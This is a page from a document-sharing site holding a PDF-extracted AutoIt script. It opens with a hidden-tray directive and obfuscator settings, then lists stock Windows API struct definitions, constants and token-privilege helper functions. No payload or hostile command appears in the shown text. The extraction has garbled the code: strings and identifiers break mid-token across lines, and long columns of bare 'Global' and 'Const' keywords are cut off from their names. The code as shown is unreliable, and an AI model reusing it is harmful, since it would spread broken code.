Sei sulla pagina 1di 71

#NoTrayIcon

#Region
#AutoIt3Wrapper_UseUpx=n
#Obfuscator_Parameters=/cs /cn /striponly
#EndRegion
Global Const $tagpoint = "long X;long Y"
Global Const $tagrect = "long Left;long Top;long Right;long Bottom"
Global Const $tagsize = "long X;long Y"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int
cyBottomHeight"
Global Const $tagfiletime = "dword Lo;dword Hi"
Global Const $tagsystemtime = "word Year;word Month;word Dow;word Day;word Hour;
word Minute;word Second;word MSeconds"
Global Const $tagtime_zone_information = "long Bias;wchar StdName[32];word StdDa
te[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias"
Global Const $tagnmhdr = "hwnd hWndFrom;uint_ptr IDFrom;INT Code"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;i
nt Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;ptr szText"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;ptr
szText;int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;in
t TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Pa
ram"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;
word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;wor
d MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSeco
nd;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime
& ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;long SizeX;lon
g SizeY"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $t
agsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemt
ime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumbe
r;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word N
umStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword
StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword
DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;
ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];dword Count;dword Type;ptr Va
lues"
Global Const $taggdipencoderparams = "dword Count;byte Params[0]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;boo
l NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr Code
cName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword
Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "dword Count;byte Params[0]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int
Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int Te
xtMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect

Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"


Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1
"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "uint Flags;ptr Text;lparam Param;" & $tagpoint &
";uint Direction"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem"
Global Const $taglvitem = "uint Mask;int Item;int SubItem;uint State;uint StateM
ask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint
Columns;ptr pColumns"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;u
int OldState;uint Changed;" & "long ActionX;long ActionY;lparam Param"
Global Const $tagnmlvcustomdraw = $tagnmhdr & ";dword dwDrawStage;handle hdc;lon
g Left;long Top;long Right;long Bottom;" & "dword_ptr dwItemSpec;uint uItemState
;lparam lItemlParam" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItem
Type;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;
long TextLeft;long TextTop;long TextRight;long TextBottom;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax
;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewSt
ate;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = $tagnmhdr & ";align 1;word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tags
ystemtime
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word Min
Day;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYea
r;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSeco
nd;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;w
ord MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;wor
d MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;"
& "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDa
y;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;
word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond
;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;
ptr pDayState"
Global Const $tagnmselchange = $tagnmhdr & ";word BegYear;word BegMonth;word Beg
DOW;word BegDay;" & "word BegHour;word BegMinute;word BegSecond;word BegMSeconds
;word EndYear;word EndMonth;word EndDOW;" & "word EndDay;word EndHour;word EndMi
nute;word EndSecond;word EndMSeconds"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;lo
ng Result"
Global Const $tagnmtckeydown = $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "uint Mask;handle hItem;uint State;uint StateMask;ptr
Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param"
Global Const $tagtvitemex = $tagtvitem & ";int Integral"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;uint OldMask;handle Oldh
Item;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImag
e;int OldSelectedImage;int OldChildren;lparam OldParam;uint NewMask;handle NewhI
tem;" & "uint NewState;uint NewStateMask;ptr NewText;int NewTextMax;int NewImage
;int NewSelectedImage;int NewChildren;" & "lparam NewParam;long PointX;long Poin
tY"
Global Const $tagnmtvcustomdraw = $tagnmhdr & ";dword DrawStage;handle HDC;long
Left;long Top;long Right;long Bottom;" & "dword_ptr ItemSpec;uint ItemState;lpar
am ItemParam;dword ClrText;dword ClrTextBk;int Level"

Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem


Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hIte
m;lparam lParam"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;"
& $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused
2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hB
ack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint I
D;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;p
tr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFo
re;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinCh
ild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild
;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader"
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lPa
ram;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;long TargetLeft;long
TargetTop;long TargetRight;long TargetBottom;" & "long ActualLeft;long ActualTo
p;long ActualRight;long ActualBottom"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uin
t wID;laram lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lPara
m;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;long CLeft
;long CTop;long CRight;long CBottom;" & "long BLeft;long BTop;long BRight;long B
Bottom"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "int iBitmap;int idComm
and;byte fsState;byte fsStyle;align;dword_ptr dwData;int_ptr iString" & ";int cc
hText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;
dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte
State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword U
sage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;dword O
ffset;dword OffsetHigh;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstanc
e;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterI
ndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "pt
r lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtensio
n;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvRe
served;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfo = "dword Size;long Width;long Height;word Planes;wor
d BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsP
erMeter;dword ClrUsed;dword ClrImportant;dword RGBQuad"
Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "dword Data1;word Data2;word Data3;byte Data4[8]"
Global Const $tagwindowplacement = "uint length; uint flags;uint showCmd;long pt
MinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int
CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint n

Page;int nPos;int nTrackPos"


Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButto
n;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientat
ion;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte
OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName
[32]"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dwor
d time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword Pro
cessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;d
word X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;
dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;han
dle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool Inherit
Handle"
Global Const $tagwin32_find_data = "dword dwFileAttributes; dword ftCreationTime
[2]; dword ftLastAccessTime[2]; dword ftLastWriteTime[2]; dword nFileSizeHigh; d
word nFileSizeLow; dword dwReserved0; dword dwReserved1; wchar cFileName[260]; w
char cAlternateFileName[14]"
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024

Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const

$file_attribute_compressed = 2048
$file_attribute_offline = 4096
$file_attribute_not_content_indexed = 8192
$file_attribute_encrypted = 16384
$file_share_read = 1
$file_share_write = 2
$file_share_delete = 4
$generic_all = 268435456
$generic_execute = 536870912
$generic_write = 1073741824
$generic_read = -2147483648
$error_no_token = 1008
$se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
$se_audit_name = "SeAuditPrivilege"
$se_backup_name = "SeBackupPrivilege"
$se_change_notify_name = "SeChangeNotifyPrivilege"
$se_create_global_name = "SeCreateGlobalPrivilege"
$se_create_pagefile_name = "SeCreatePagefilePrivilege"
$se_create_permanent_name = "SeCreatePermanentPrivilege"
$se_create_token_name = "SeCreateTokenPrivilege"
$se_debug_name = "SeDebugPrivilege"
$se_enable_delegation_name = "SeEnableDelegationPrivilege"
$se_impersonate_name = "SeImpersonatePrivilege"
$se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
$se_increase_quota_name = "SeIncreaseQuotaPrivilege"
$se_load_driver_name = "SeLoadDriverPrivilege"
$se_lock_memory_name = "SeLockMemoryPrivilege"
$se_machine_account_name = "SeMachineAccountPrivilege"
$se_manage_volume_name = "SeManageVolumePrivilege"
$se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
$se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
$se_restore_name = "SeRestorePrivilege"
$se_security_name = "SeSecurityPrivilege"
$se_shutdown_name = "SeShutdownPrivilege"
$se_sync_agent_name = "SeSyncAgentPrivilege"
$se_system_environment_name = "SeSystemEnvironmentPrivilege"
$se_system_profile_name = "SeSystemProfilePrivilege"
$se_systemtime_name = "SeSystemtimePrivilege"
$se_take_ownership_name = "SeTakeOwnershipPrivilege"
$se_tcb_name = "SeTcbPrivilege"
$se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
$se_undock_name = "SeUndockPrivilege"
$se_privilege_enabled_by_default = 1
$se_privilege_enabled = 2
$se_privilege_removed = 4
$se_privilege_used_for_access = -2147483648
$tokenuser = 1
$tokengroups = 2
$tokenprivileges = 3
$tokenowner = 4
$tokenprimarygroup = 5
$tokendefaultdacl = 6
$tokensource = 7
$tokentype = 8
$tokenimpersonationlevel = 9
$tokenstatistics = 10
$tokenrestrictedsids = 11
$tokensessionid = 12
$tokengroupsandprivileges = 13
$tokensessionreference = 14

Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const

$tokensandboxinert = 15
$tokenauditpolicy = 16
$tokenorigin = 17
$tokenelevationtype = 18
$tokenlinkedtoken = 19
$tokenelevation = 20
$tokenhasrestrictions = 21
$tokenaccessinformation = 22
$tokenvirtualizationallowed = 23
$tokenvirtualizationenabled = 24
$tokenintegritylevel = 25
$tokenuiaccess = 26
$tokenmandatorypolicy = 27
$tokenlogonsid = 28
$token_assign_primary = 1
$token_duplicate = 2
$token_impersonate = 4
$token_query = 8
$token_query_source = 16
$token_adjust_privileges = 32
$token_adjust_groups = 64
$token_adjust_default = 128
$token_adjust_sessionid = 256

Func _winapi_getlasterror($curerr = @error, $curext = @extended)


Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($curerr, $curext, $aresult[0])
EndFunc
Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
Return SetError($curerr, $curext)
EndFunc
Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibuffe
rlen, $pprevstate = 0, $prequired = 0)
Local $aresult = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges"
, "handle", $htoken, "bool", $fdisableall, "ptr", $pnewstate, "dword", $ibufferl
en, "ptr", $pprevstate, "ptr", $prequired)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _security__getaccountsid($saccount, $ssystem = "")
Local $aacct = _security__lookupaccountname($saccount, $ssystem)
If @error Then Return SetError(@error, 0, 0)
Return _security__stringsidtosid($aacct[0])
EndFunc
Func _security__getlengthsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
Local $aresult = DllCall("advapi32.dll", "dword", "GetLengthSid", "ptr",
$psid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _security__gettokeninformation($htoken, $iclass)
Local $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation",
"handle", $htoken, "int", $iclass, "ptr", 0, "dword", 0, "dword*", 0)

If @error Then Return SetError(@error, @extended, 0)


If NOT $aresult[0] Then Return 0
Local $tbuffer = DllStructCreate("byte[" & $aresult[5] & "]")
Local $pbuffer = DllStructGetPtr($tbuffer)
$aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handl
e", $htoken, "int", $iclass, "ptr", $pbuffer, "dword", $aresult[5], "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $aresult[0] Then Return 0
Return $tbuffer
EndFunc
Func _security__impersonateself($ilevel = 2)
Local $aresult = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int
", $ilevel)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _security__isvalidsid($psid)
Local $aresult = DllCall("advapi32.dll", "bool", "IsValidSid", "ptr", $p
sid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _security__lookupaccountname($saccount, $ssystem = "")
Local $tdata = DllStructCreate("byte SID[256]")
Local $psid = DllStructGetPtr($tdata, "SID")
Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "
wstr", $ssystem, "wstr", $saccount, "ptr", $psid, "dword*", 256, "wstr", "", "dw
ord*", 256, "int*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $aresult[0] Then Return 0
Local $aacct[3]
$aacct[0] = _security__sidtostringsid($psid)
$aacct[1] = $aresult[5]
$aacct[2] = $aresult[7]
Return $aacct
EndFunc
Func _security__lookupaccountsid($vsid)
Local $psid, $aacct[3]
If IsString($vsid) Then
Local $tsid = _security__stringsidtosid($vsid)
$psid = DllStructGetPtr($tsid)
Else
$psid = $vsid
EndIf
If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountSidW", "p
tr", 0, "ptr", $psid, "wstr", "", "dword*", 256, "wstr", "", "dword*", 256, "int
*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $aresult[0] Then Return 0
Local $aacct[3]
$aacct[0] = $aresult[3]
$aacct[1] = $aresult[5]
$aacct[2] = $aresult[7]
Return $aacct
EndFunc

Func _security__lookupprivilegevalue($ssystem, $sname)


Local $aresult = DllCall("advapi32.dll", "int", "LookupPrivilegeValueW",
"wstr", $ssystem, "wstr", $sname, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetError(0, $aresult[0], $aresult[3])
EndFunc
Func _security__openprocesstoken($hprocess, $iaccess)
Local $aresult = DllCall("advapi32.dll", "int", "OpenProcessToken", "han
dle", $hprocess, "dword", $iaccess, "ptr", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetError(0, $aresult[0], $aresult[3])
EndFunc
Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
If $hthread = 0 Then $hthread = DllCall("kernel32.dll", "handle", "GetCu
rrentThread")
If @error Then Return SetError(@error, @extended, 0)
Local $aresult = DllCall("advapi32.dll", "bool", "OpenThreadToken", "han
dle", $hthread[0], "dword", $iaccess, "int", $fopenasself, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetError(0, $aresult[0], $aresult[4])
EndFunc
Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenass
elf)
If $htoken = 0 Then
If _winapi_getlasterror() <> $error_no_token Then Return SetErro
r(-3, _winapi_getlasterror(), 0)
If NOT _security__impersonateself() Then Return SetError(-1, _wi
napi_getlasterror(), 0)
$htoken = _security__openthreadtoken($iaccess, $hthread, $fopena
sself)
If $htoken = 0 Then Return SetError(-2, _winapi_getlasterror(),
0)
EndIf
Return $htoken
EndFunc
Func _security__setprivilege($htoken, $sprivilege, $fenable)
Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
If $iluid = 0 Then Return SetError(-1, 0, False)
Local $tcurrstate = DllStructCreate($tagtoken_privileges)
Local $pcurrstate = DllStructGetPtr($tcurrstate)
Local $icurrstate = DllStructGetSize($tcurrstate)
Local $tprevstate = DllStructCreate($tagtoken_privileges)
Local $pprevstate = DllStructGetPtr($tprevstate)
Local $iprevstate = DllStructGetSize($tprevstate)
Local $trequired = DllStructCreate("int Data")
Local $prequired = DllStructGetPtr($trequired)
DllStructSetData($tcurrstate, "Count", 1)
DllStructSetData($tcurrstate, "LUID", $iluid)
If NOT _security__adjusttokenprivileges($htoken, False, $pcurrstate, $ic
urrstate, $pprevstate, $prequired) Then Return SetError(-2, @error, False)
DllStructSetData($tprevstate, "Count", 1)
DllStructSetData($tprevstate, "LUID", $iluid)
Local $iattributes = DllStructGetData($tprevstate, "Attributes")
If $fenable Then

$iattributes = BitOR($iattributes, $se_privilege_enabled)


Else
$iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled
))
EndIf
DllStructSetData($tprevstate, "Attributes", $iattributes)
If NOT _security__adjusttokenprivileges($htoken, False, $pprevstate, $ip
revstate, $pcurrstate, $prequired) Then Return SetError(-3, @error, False)
Return True
EndFunc
Func _security__sidtostringsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, "")
Local $aresult = DllCall("advapi32.dll", "int", "ConvertSidToStringSidW"
, "ptr", $psid, "ptr*", 0)
If @error Then Return SetError(@error, @extended, "")
If NOT $aresult[0] Then Return ""
Local $tbuffer = DllStructCreate("wchar Text[256]", $aresult[2])
Local $ssid = DllStructGetData($tbuffer, "Text")
DllCall("Kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
Return $ssid
EndFunc
Func _security__sidtypestr($itype)
Switch $itype
Case 1
Return "User"
Case 2
Return "Group"
Case 3
Return "Domain"
Case 4
Return "Alias"
Case 5
Return "Well Known Group"
Case 6
Return "Deleted Account"
Case 7
Return "Invalid"
Case 8
Return "Invalid"
Case 9
Return "Computer"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc
Func _security__stringsidtosid($ssid)
Local $aresult = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW
", "wstr", $ssid, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $aresult[0] Then Return 0
Local $isize = _security__getlengthsid($aresult[2])
Local $tbuffer = DllStructCreate("byte Data[" & $isize & "]", $aresult[2
])
Local $tsid = DllStructCreate("byte Data[" & $isize & "]")
DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
DllCall("kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
Return $tsid

EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamt
ype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hw
nd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparam
type = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hw
nd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

$__gainprocess_winapi[64][2] = [[0, 0]]


$__gawinlist_winapi[64][2] = [[0, 0]]
Const $__winapiconstant_wm_setfont = 48
Const $__winapiconstant_fw_normal = 400
Const $__winapiconstant_default_charset = 1
Const $__winapiconstant_out_default_precis = 0
Const $__winapiconstant_clip_default_precis = 0
Const $__winapiconstant_default_quality = 0
Const $__winapiconstant_format_message_allocate_buffer = 256
Const $__winapiconstant_format_message_from_system = 4096
Const $__winapiconstant_logpixelsx = 88
Const $__winapiconstant_logpixelsy = 90
Const $hgdi_error = Ptr(-1)
Const $invalid_handle_value = Ptr(-1)
Const $clr_invalid = -1
Const $__winapiconstant_flashw_caption = 1
Const $__winapiconstant_flashw_tray = 2
Const $__winapiconstant_flashw_timer = 4
Const $__winapiconstant_flashw_timernofg = 12
Const $__winapiconstant_gw_hwndnext = 2
Const $__winapiconstant_gw_child = 5
Const $__winapiconstant_di_mask = 1
Const $__winapiconstant_di_image = 2
Const $__winapiconstant_di_normal = 3
Const $__winapiconstant_di_compat = 4
Const $__winapiconstant_di_defaultsize = 8
Const $__winapiconstant_di_nomirror = 16
Const $__winapiconstant_display_device_attached_to_desktop = 1
Const $__winapiconstant_display_device_primary_device = 4
Const $__winapiconstant_display_device_mirroring_driver = 8
Const $__winapiconstant_display_device_vga_compatible = 16
Const $__winapiconstant_display_device_removable = 32
Const $__winapiconstant_display_device_modespruned = 134217728
Const $null_brush = 5
Const $null_pen = 8
Const $black_brush = 4
Const $dkgray_brush = 3
Const $dc_brush = 18
Const $gray_brush = 2
Const $hollow_brush = $null_brush

Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global

Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
